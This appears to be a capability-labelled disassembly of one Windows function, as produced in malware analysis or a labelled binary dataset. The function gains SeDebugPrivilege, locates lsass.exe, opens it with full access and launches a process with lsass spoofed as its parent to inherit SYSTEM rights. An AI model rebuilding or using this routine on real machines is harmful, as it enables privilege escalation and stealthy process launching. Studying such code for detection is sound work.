Function at 0x140019cc0
Capabilities:
Acquire debug privileges
Create process on windows
Enumerate process modules
Get process image filename
Query environment variable
Spoof parent pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140019ee9
lea r8, [rbp - 0x20]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140019ee3
mov rax, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
xor r12d, r12d
mov dword [rbp - 0x18], 1
mov qword [rsp + 0x28], r12
xor edx, edx
mov qword [rbp - 0x14], rax
mov dword [rbp - 0xc], 2
lea r9d, [r12 + 0x10]
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140019ee3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7ff8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140019ee9
lea r8, [rbp - 0x30]
mov edx, 0x7ff8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140019e27
test dword [rbp - 0x30], 0xfffffffc
mov r14d, 0xffffffff
mov ebx, r12d
jbe 0x140019e3e
mov eax, ebx
xor edx, edx
mov ecx, 0x1000
mov r14d, dword [rsi + rax*4]
mov r8d, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140019e1b
mov r8d, 0x104
lea rdx, [rbp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
test eax, eax
je 0x140019e12
lea rcx, [rbp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rcx, rax
lea rdx, str.lsass.exe
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140019e35
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x30]
inc ebx
shr eax, 2
cmp ebx, eax
jb 0x140019dc0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140019ee9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp r14d, 0xffffffff
je 0x140019ee9
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140019ee9
xor r8d, r8d
mov qword [rbp - 0x28], r12
lea r9, [rbp - 0x28]
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
cmp qword [rbp - 0x28], r12
je 0x140019ee0
xor r8d, r8d
lea r9, [rbp - 0x28]
lea rcx, [rbp + 0x10]
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x140019ee0
mov qword [rsp + 0x30], r12
lea r9, [rsp + 0x58]
mov qword [rsp + 0x28], r12
lea rcx, [rbp + 0x10]
xor edx, edx
mov qword [rsp + 0x20], 8
mov r8d, 0x20000
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
jne 0x140019f16
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.14001a080
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x70
xor eax, eax
mov rbx, 0xffffffffffffffff
mov dword [rbp - 0x3c], eax
mov rcx, rbx
mov qword [rbp + 8], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x38], rax
mov rax, qword [r15]
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 8], xmm0
nop dword [rax]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140019f60
add rcx, 0x108
cmovb rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0x104
lea rdx, [rbp + 0x150]
lea rcx, str.USERPROFILE
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
lea rcx, str..PhysicalDrive0
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov esi, r12d
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
test rax, rax
jne 0x140019fcf
lea esi, [rax + 1]
jmp 0x140019fdd
cmp rax, rbx
je 0x140019fdd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9, qword [r15]
cmp byte [r9 + rbx + 1], r12b
lea rbx, [rbx + 1]
jne 0x140019fe0
lea rax, [rbp + 0x150]
mov dword [rsp + 0x28], esi
lea rdx, [rbx + 0x14]
mov qword [rsp + 0x20], rax
lea r8, str._s__s__d
mov rcx, r14
call fcn.1400150b0
mov rcx, qword [r15]
lea rax, [rbp - 8]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, r14
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, [rbp + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
jmp 0x140019eeb